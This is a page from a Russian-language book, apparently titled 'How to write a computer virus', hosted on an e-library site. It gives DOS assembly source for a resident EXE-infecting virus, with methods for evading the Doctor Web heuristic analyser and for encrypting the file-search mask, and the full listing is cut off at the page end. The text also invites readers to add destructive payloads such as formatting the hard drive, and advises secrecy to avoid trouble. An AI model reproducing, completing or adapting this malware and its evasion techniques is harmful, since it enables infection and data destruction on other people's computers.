Купить
 
 
Жанр: Учеба

Как написать компьютерный вирус

страница №7

loop left ;
ret ;
mover endp

;Data area ...
;*************************************************

;Собственная DTA
;вируса
new_dta db 128 dup (0)

;Маска для поис-
;ка файла - жер-
;твы
maska db '*.exe',0

;Буфер для хра-
;нения имени
;найденного
;файла
fn db 12 dup (' '),0

;Массив для хра-
;нения заголовка
header db 27 dup ( 0 )

descrypt dw 0 ;Ячейка для дес-
;криптора

to_02h dw 0 ;Эти ячейки ис-
to_04h dw 0 ;пользуются для
to_16h dw 0 ;хранения пара-
my_ip dw 0 ;метров заголо-
my_cs dw 0 ;вка заражаемой
my_16h dw 0 ;программы и
my_ss dw 0 ;той, из которой
my_sp dw 0 ;стартовал
old_ss dw 0 ;вирус
old_sp dw 0 ;

f_seek_low dw 0 ;В эти перемен-
f_seek_high dw 0 ;нные записывае-
;тся значение
;указателя

;Вирусный стек
new_stack dw 50 dup ( 0 )

last db 0 ;Сюда помещается
;последний байт
;заражаемого
;файла

db '7' ;Последний байт
;вирусного кода

;Длина вирусного
;кода в байтах
vir_len equ $-vir

prg ends
end vir

1.17 Несколько слов об испытании вируса

В принципе,процесс испытания созданного вируса ни-
чем не отличается от ранее рассмотренного .Обращаю
внимание читателей только на одну деталь :
Отладчик AFD_RUS .COM корректно работает только с
неупакованными EXE - файлами.Если вы попытаетесь с
его помощью отладить EXE - программу, упакованную
какой - либо утилитой сжатия ( например, DIET, LZ_
EXE или PKLITE ), то из этого ничего не получится.
Конечно, программа не испортится,но результаты ра-
боты отладчика будут неверными .Для отладки упако-
ванных программ можно воспользоваться TURBO DEBUG-
GER фирмы BORLAND INTERNATIONAL, но еще лучше рас-
паковать такую программу и применить отладчик по-
проще.


*
Если в программе есть команды,изменяющие SS и SP,
то при " прохождении " ее AFD_RUS.COM результаты
работы отладчика могут быть совершенно неожидан-
ными. Это происходит потому, что указанный отлад-
чик использует стек исследуемой им программы.
**
Все только что отмеченные недостатки AFD_шки ни в
коей мере не дают сделать вывод,что этот отладчик
плохой. Наоборот,он во многих отношениях значите-
льно превосходит даже TURBO DEBUGGER. Возможнос-
тей AFD_RUS вполне достаточно при отладке пример-
но 95 % программ.

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО


EXE - ВИРУСА

2.1 Алгоритм работы резидентного
EXE - вируса

Для начала рассмотрим алгоритм работы резидентного
вируса, заражающего EXE - файлы .Он очень похож на
соответствующий алгоритм для COM - вируса, поэтому
подробно рассматриваться не будет :

Секция инициализации выполняет следующие действия:

1. Получает управление при запуске зараженной про-
граммы .

2. Проверяет, установлена ли в память резидентная
часть вируса .

3. Если резидентная часть не установлена,выполняю-
тся следующие действия :

a.) Отыскивается свободный блок памяти достато-
чного для размещения вируса размера .

б.) Код вируса копируется в найденный блок па-
мяти .

в.) В таблице векторов прерываний соответству-
ющие вектора заменяются точками входа в ви-
русные обработчики .

г.) Определяются значения CS, IP, SS и SP,необ-
ходимые для правильной работы программы ,
из которой стартовал вирус .

д.) Управление передается зараженной программе.
Для этого вирус использует команду безусло-
вного дальнего перехода или возврата из да-
льней процедуры.Адрес перехода задается вы-
численными CS и IP. После этого начинается
обычное выполнение программы .

В том случае, если резидентная часть вируса уже
находится в памяти, он просто выполняет действия
перечисленные в п.п. " Г " и " Д " .

Резидентная часть работает по такому " сценарию ":

1. Анализирует все вызовы системного прерывания
INT 21h с целью выявить переход оператора в новый
каталог или смену текущего диска .

2. Если обнаружится смена текущего диска или ката-
лога, резидентная часть должна :

а.) Сохранить исходное состояние вычислительной
системы .

б.) Найти на диске подходящий EXE - файл .


в.) Записать вирусный код в конец этого файла .

г.) Скорректировать заголовок файла ( см. п.1.4
гл. 1 ч. 2 ) .

д.) Восстановить исходное состояние вычислите-
льной системы и передать ей управление .

Как и в случае с COM - вирусом, заражение файлов
выполняет только резидентная часть .Вредные дейст-
вия можно " возложить " как на резидентную, так и
на транзитную часть ( на транзитную - проще, а на
резидентную - обычно сложнее . ) .

2.2 Защита от программ - антивирусов

Честно говоря, эта глава просто является обобщени-
ем всех предыдущих . Поэтому все основное уже рас-
сказано .Но есть несколько весьма интересных и за-
служивающих вашего внимания вопросов,о которых по-
чти не упоминается в литературе .Речь идет о пос-
троении вирусов, " невидимых " для антивирусных
программ.В самом деле,один - единственный "обыск"
с помощью программы DOCTOR WEB на диске или в па-
мяти может свести все наши усилия к нулю . Поэтому
самое время поговорить о способах скрытия вирусом
своего наличия в вычислительной системе .
Технику защиты вирусной программы от обнаружения
мы рассмотрим на примере всем известного антивиру-
са DOCTOR WEB.Именно эта программа является наибо-
лее удачной и используемой.
Как вы знаете, для обнаружения неизвестных вирусов
DOCTOR WEB использует так называемый эвристический
анализатор, моделирующий действия человека, желаю-
щего обнаружить новый вирус.
Все изложенное ниже базируется на следующем пред-
положении :эвристический анализатор, по существу,
представляет собой комбинацию пошагового отладчика
и программы, анализирующей результаты его работы .
Перейдем к делу . Если вы " заразите " ваш ком-
пьютер написанным ранее резидентным COM - вирусом,
а потом запустите DOCTOR WEB ( режим тестирования
памяти должен быть включен ), то вирус будет обна-
ружен как неизвестный резидентный .Кроме того, ан-
тивирусная программа определит адрес в памяти, по
которому находится вирусный код . Если вы просмот-
рите содержимое памяти по этому адресу,то увидите,
что DOCTOR WEB " ошибся ".А именно - по указанному
адресу расположен собственно не сам вирус,а только
его обработчик прерывания INT 21h.На остальные ви-
русные обработчики антивирус не обратил внимания .
Исходя из этого можно сделать такие выводы :

1.) Эвристический анализатор определяет, на какой
адрес указывает вектор прерывания INT 21h в
таблице векторов .

2.) Далее вступают в действие следующие соображе-
ния : Обработчик прерывания INT 21h почти ни-
когда не может находиться в самых младших (на-
пример,в области данных BIOS) или в самых ста-
рших (например, в последнем сегменте) адресах
основной памяти .Поэтому при обнаружении такой
ситуации эвристический анализатор считает, что
система заражена неизвестным вирусом,и в каче-
стве адреса, по которому расположен его код ,
выдает адрес обработчика INT 21h .

Как видим, все не так уже и сложно.Далее пользова-
тель должен решать сам,действительно ли вирус при-
сутствует в его компьютере. Отметим, что для реше-
ния этого вопроса нужно иметь довольно высокую
квалификацию, поэтому для подавляющего большинства
пользователей задача представляется неразрешимой.


2.3 Как реализовать защиту от
эвристического анализа

Очевидно, вирус не будет найден в памяти,если раз-
местить обработчик INT 21h в той ее части, в кото-
рую загружаются пользовательские программы .С дру-
гой стороны, наш вирус помещает свой код в самые
старшие адреса основной памяти . Единственным вы-
ходом из положения было бы написание обработчика ,
состоящего из двух частей. При этом "первая" часть
должна загружаться в область памяти,выделенную для
загрузки прикладных программ,а "вторую" - вместе с
остальной частью вируса - следует записать в стар-
шие адреса основной памяти .В случае возникновения
прерывания INT 21h управление будет передаваться
первой части, которая затем передаст его второй.
К сожалению, данный метод себя не оправдывает.DOC-
TOR WEB в процессе эвристического анализа просто
трассирует обработчик INT 21h до входа в его исхо-
дный ( системный ) код, одновременно контролируя
адрес обработчика, и при получении любых подозри-
тельных результатов выдает сообщение о наличии не-
известного вируса .Поэтому необходимо сделать так,
чтобы при трассировании "первой" части под управ-
лением отладчика вызывался системный обработчик, а
при "нормальном" трассировании - вирусный ( экспе-
рименты показывают,что DOCTOR WEB,вероятнее всего,
содержит встроенный отладчик) .Для реализации ука-
занного метода можно использовать особенность мик-
ропроцессора, состоящую в наличии очереди команд .
Однако этот путь по существу является тупиковым,
так как вирус, реализующий такой алгоритм,не будет
работать на процессорах PENTIUM из-за наличия в
последних так называемой системы прогнозирования
переходов. Мы же поступим по другому.Как вы знаете
все отладчики интенсивно используют прерывание 01h
( One Step ),обработчик которого останавливает ра-
боту микропроцессора после выполнения каждой ко-
манды. Поэтому естественно предположить, что для
проведения эвристического анализа DOCTOR WEB уста-
навливает собственный обработчик Int 01h,а значит,
заменяет адрес системного обработчика в таблице
векторов прерываний.На факт замены этого адреса мы
и будем ориентироваться. Экспериментальным путем
было установлено, что системный обработчик Int 01h
находится в памяти по такому адресу : 0070:XXXX.
Следовательно, достаточно проверить сегментный ад-
рес обработчика Int 01h, чтобы сказать, перехваче-
но-ли это прерывание какой-нибудь прикладной про-
граммой.
Следующая проблема,возникающая при построении про-
граммы обработки прерывания из двух частей, состо-
ит вот в чем: непонятно, куда именно следует поме-
стить " первую " часть,чтобы она не затиралась при
загрузке программ и их работе, и не была бы видна
с помощью, например, VC.COM или RELEASE.
Многочисленными экспериментами было установлено ,
что для размещения участка обработчика прерывания,
ответственного за " обман " эвристического анали-
затора, можно использовать байты с 38h по 5Ch,при-
надлежащие PSP первой загруженной в память програ-
ммы .Эти байты зарезервированы разработчиками опе-
рационной системы, вероятно,для будущих ее версий,
и их значения остаются постоянными в течение всего
сеанса работы компьютера .Кроме того, зарезервиро-
ванного пространства в PSP вполне хватит для раз-
мещения программы обработки прерывания .
Итак, можно предложить следующий алгоритм :

1.) Отыскивается PSP первой загруженной в память
программы .

2.) В байты 38h - 5Ch записывается код " промежу-
точного " обработчика прерывания INT 21h .Этот
код должен вызывать системный обработчик при
работе под управлением отладчика и вирусный в
противном случае .


* На самом деле можно использовать и другие об-
ласти PSP, расположенные после байта со смеще-
нием 5Ch ( примерно 32 байта - без всяких пос-
ледствий. ).

3.) В таблице векторов прерываний вектор INT 21h
заменяется на точку входа в промежуточный об-
работчик .

Вот, собственно, и все .

2.4 Реализуем предложенный алгоритм

Как мы договорились,сначала следует найти PSP пер-
вой загруженной в память программы .Это можно сде-
лать следующим образом :

find_psp: push es ;Найдем первый
xor di,di ;PSP в памяти
xor ax,ax

to_new_seg:inc ax
mov es,ax
cmp ax,0ffffh ;Этот сегмент -
jae free_mem ;последний ?
cmp byte ptr es:[di],4dh
;Это - MCB -
;блок ?
jne to_new_seg ;Нет !
to_test: mov bx,ax ;Да !
add bx,es:[di+3]
inc bx
mov es,bx
cmp byte ptr es:[di],4dh
;Следующий MCB
;корректен ?
je restore_es ;Да !
cmp byte ptr es:[di],5ah
jne to_new_seg ;Нет !
restore_es:mov es,ax
cmp word ptr es:[di+1],0 ;MCB свободен ?
je to_new_seg ;Да !
mov bx,es
inc bx
cmp es:[di+1],bx
jne to_new_seg
cmp byte ptr es:[di+10h],0cdh ;После MCB сле-
;дует PSP ?
jne to_new_seg ;Нет - тогда он
;нас не интере-
;сует ...
mov first_psp,es ;Да - найдена
mov cx,es ;нужная нам
dec es_save ;область памяти
cmp es_save,cx ;А может, мы на-
;шли свой же
;PSP ?
jne add_05h ;Нет !
pop es
jmp fresh_input ;Да !
add_05h: add first_psp,05h

Напомним, что PSP располагается в памяти сразу
вслед за MCB - блоком,выделенным операционной сис-
темой для загрузки программы, а первым байтом PSP
должно быть число 0CDh, что и используется в при-
веденном фрагменте .
Дополнительно следует рассмотреть следующую ситуа-
цию : обычно первым PSP в памяти является PSP ко-
мандного процессора COMMAND.COM . Но при некоторых
конфигурациях операционой системы (например, при
использовании WINDOWS 95 в режиме эмуляции MS DOS)
это правило иногда не соблюдается .Может случиться
так, что первой в файле AUTOEXEC.BAT для загрузки
указана нерезидентная EXE - программа, зараженная
нашим вирусом.При старте этой программы вирус фак-
тически отыщет ее же PSP и запишет туда текст про-
межуточного обработчика INT 21h . Далее программа
нерезидентно завершится, после чего занимаемая ею
память будет использована другими программами, по-
этому наш промежуточный обработчик будет затерт ,
и компьютер обязательно повиснет . Чтобы этого не
произошло, вирус проверяет, какой именно PSP был
найден первым, и если имела место описанная выше
ситуация, отказывается от заражения памяти .

В остальном работа фрагмента ясна .

2.5 Пишем промежуточный обработчик

Теперь следует написать " промежуточный " обработ-
чик прерывания INT 21h,который должен вызывать си-
стемный или вирусный обработчики данного прерыва-
ния в зависимости от режима работы процессора .Эту
задачу можно решить, например, так :

to_bios: push ax ;Текст промежу-
;точного
push ds ;обработчика
;INT 21h ...
pushf
xor ax,ax
mov ds,ax
cmp word ptr ds:[0006h],0070h ;Int 01h пере-
;хвачено ?
jne cs:uuuuu ;JMP на систем-
;ный или вирус-
;ный обработчики
;INT 21h ...
popf
pop ds
pop ax
db 0eah ;На вирусный ...
our_21h_ip dw to_new_21h
our_21h_cs dw 00h
uuuuu: popf
pop ds
pop ax
db 0eah ;На системный...
sys_21h_ip dw 00h
sys_21h_cs dw 00h

code_len equ $ - to_bios ;Длина обработ-
;чика

Данный фрагмент написан настолько просто, что ни-
каких пояснений по поводу его работы не требуется.

2.6 Защита от обнаружения вируса в файле

Защитить вирус от обнаружения в файле намного про-
ще, чем в памяти.Достаточно только зашифровать ма-
ску для поиска EXE - программ ( *.exe ), и вирус
обнаружен не будет.Естественно, перед поиском фай-
ла - жертвы маска должна быть расшифрована,а в за-
раженном файле присутствовать в зашифрованном ви-
де.
Для решения этой задачи был предложен такой алго-
ритм: маска расшифровывается вирусной копией, на-
ходящейся в памяти, непосредственно перед поиском
EXE-файла,а при записи вирусного кода в файл снова
шифруется. Вряд-ли DOCTOR WEB станет устанавливать
резидентный вирус в память, а потом еще и прове-
рять, как он работает. А при простом просмотре или
даже прохождении зараженной программы отладчиком
можно увидеть только закодированную маску.

2.7 Несколько слов о вредных
действиях вирусной программы

Вирус, как правило, для того и пишется,чтобы кому-
то навредить или пошутить над пользователями .Поэ-
тому естественно было бы включить в него какие-ни-
будь действия,мешающие нормальной работе операто-
ров компьютеров .Конечно,здесь существует огромная
свобода : от тривиальной блокировки клавиатуры до
" осыпания " букв с экрана или форматирования вин-
честера . Многие вирусы вообще содержат серьезные
ошибки, из - за которых зараженная система может
перестать работать, поэтому что - нибудь более не-
приятное придумать непросто .

Поскольку книга носит учебный харатер, мы не будем
развивать " вредительскую " тему, а вместо этого
предоставим нашим читателям возможность творчески
подойти к задаче.Можете не огорчаться - встроить в
вирусную программу вредное действие на порядок
проще,чем создать эту программу.Учтите только, что
изготовление вирусов - дело очень неблагодарное, и
без должной конспирации способно принести самому
" писателю " массу неприятностей.Сами вирусы (осо-
бенно чужие) - довольно неприятная штука, хотя эта
тема очень интересна.

2.8 Полный текст резидентного EXE - вируса

Как я уже говорил, эта программа является просто
итогом всех предыдущих и фактически составлена из
их частей .Поэтому больше объяснять, вероятно, не-
чего .Последний штрих - приведем полный текст раз-
работанного нами резидентного EXE - вируса :

; _______________________________________________
;| |
;| EXE TSR virus |
;| Especially for my readers |
;|_______________________________________________|

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

vir: db 0ebh ;9090h - Для
;резидентной
db push_len ;работы .

pushf
call cs:rest_code ;Для надежности
;восстановим
;промежуточный
;обработчик
;INT 21h ...
cmp bx,1997h ;Это проверка
jne cs:not_our ;повторной за-
mov ah,0ffh ;грузки вируса в
popf ;память ?
iret ;
not_our:cmp cs:tg_infect - 100h,1 ;Активизировать-
;ся ?
je cs:vir_2 ;Да ...
popf
jmp dword ptr cs:old_28h - 100h ;Нет - вызовем
;старый INT 28h,
;чтобы не
;"топить" другие
;резиденты ...

vir_2: db 9ah
old_28h dw 0
old_28h_2 dw 0
pushf ;Сохраним в сте-
;ке регистры
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к зара-
;жению файлов...
push_len equ $-vir - 2

mov ax,cs ;Исправим DS для
;работы
db 2dh ;в зараженном
;EXE - файле .

sub_ds dw 0
mov ds,ax
mov ax,ds
mov es_save,es ;Сохраним значе-
;ние ES ,бывшее
;при загрузке
;программы ...
push es

mov ax,old_ip ;Восстановим ис-
;ходные пара-
mov my_ip,ax ;метры заголовка
;зараженного
mov ax,old_cs ;файла ...
mov my_cs,ax
mov ax,to_16h
mov my_16h,ax
mov ax,old_ss
mov my_ss,ax
mov ax,old_sp
mov my_sp,ax
;Проверим ,есть
;вирус в па-
mov bx,1997h ;мяти ,или еще
int 28h ;нет ...

cmp ah,0ffh
jne inst ;Нет - устанав-
;ливаем ...

fresh_input:
pop es

mov ax,my_ip ;Восстановим
;исходные CS
mov old_ip,ax ;и IP ,а также
;необходимые
mov ax,my_cs ;для правильной
;работы
mov old_cs,ax ;значения SS и
;SP ...
mov ax,my_16h
mov to_16h,ax
mov ax,my_sp
mov sp,ax

mov ax,cs ;Расчитаем точку
;входа
sub ax,to_16h ;EXE - программы
add my_ss,ax
mov ss,my_ss
add ax,old_cs
mov old_cs,ax
push ax
push old_ip ;Восстановим DS
mov ax,es
mov ds,ax
db 0cbh ;Машинный код
;команды возвра-
;та из дальней
;процедуры ...

old_ip dw 0 ;
old_cs dw 0 ;

inst: push es ;Найдем первый
;PSP в
xor di,di ;памяти ...
xor ax,ax

to_new_seg:inc ax
mov es,ax
cmp ax,0ffffh ;Этот сегмент -
;последний ?
jae free_mem
cmp byte ptr es:[di],4dh ;Это -
;MCB - блок ?

jne to_new_seg ;Нет !
to_test: mov bx,ax ;Да !
add bx,es:[di+3]
inc bx
mov es,bx
cmp byte ptr es:[di],4dh ;Следующий MCB
;корректен ?
je restore_es ;Да !
cmp byte ptr es:[di],5ah
jne to_new_seg ;Нет !
restore_es:mov es,ax
cmp word ptr es:[di+1],0 ;MCB свободен ?
je to_new_seg ;Да !
mov bx,es
inc bx
cmp es:[di+1],bx
jne to_new_seg
cmp byte ptr es:[di+10h],0cdh ;После MCB сле-
;дует PSP ?
jne to_new_seg ;Нет - тогда он
;нас не
;интересует ...
mov first_psp,es ;Да - найдена
;нужная нам
mov cx,es ;область памяти
dec es_save
cmp es_save,cx ;А может ,мы на-
;шли свой
;же PSP ?
jne add_05h ;Нет !
pop es
jmp fresh_input ;Да !
add_05h: add first_psp,05h

free_mem: pop es

mov ah,4ah ;Определим объем
;доступной
;памяти ...
mov bx,0ffffh ;Заведомо невоз-
;можное
int 21h ;значение
;(0ffffh) !

; _______________________________________________
;| Найдем свободный MCB - блок ,чтобы можно было |
;| записать в него резидентную часть вируса ... |
;|_______________________________________________|

sub bx,vir_par + 4 ;Оставим вирусу
;на 4 параграфа
;больше ,чем
;он сам занимает
mov ah,4ah ;А остальная
;память
int 21h ;будет занята ...
jnc give_mem

to_fresh_input:
jmp fresh_input

give_mem: mov ah,48h ;Попросим DOS
;отдать сво-
;бодный блок нам
mov bx,vir_par + 2 ;Запас в два
;параграфа ...
int 21h
jc to_fresh_input

; _______________________________________________
;|Теперь свободный блок памяти найден |
;|( сегментный адрес в AX ) ,и нужно |
;|записать в него код вируса ... |
;|_______________________________________________|

xor di,di

Список страниц

Закладка в соц.сетях

Купить

☏ Заказ рекламы: +380504468872

© Ассоциация электронных библиотек Украины

☝ Все материалы сайта (включая статьи, изображения, рекламные объявления и пр.) предназначены только для предварительного ознакомления. Все права на публикации, представленные на сайте принадлежат их законным владельцам. Просим Вас не сохранять копии информации.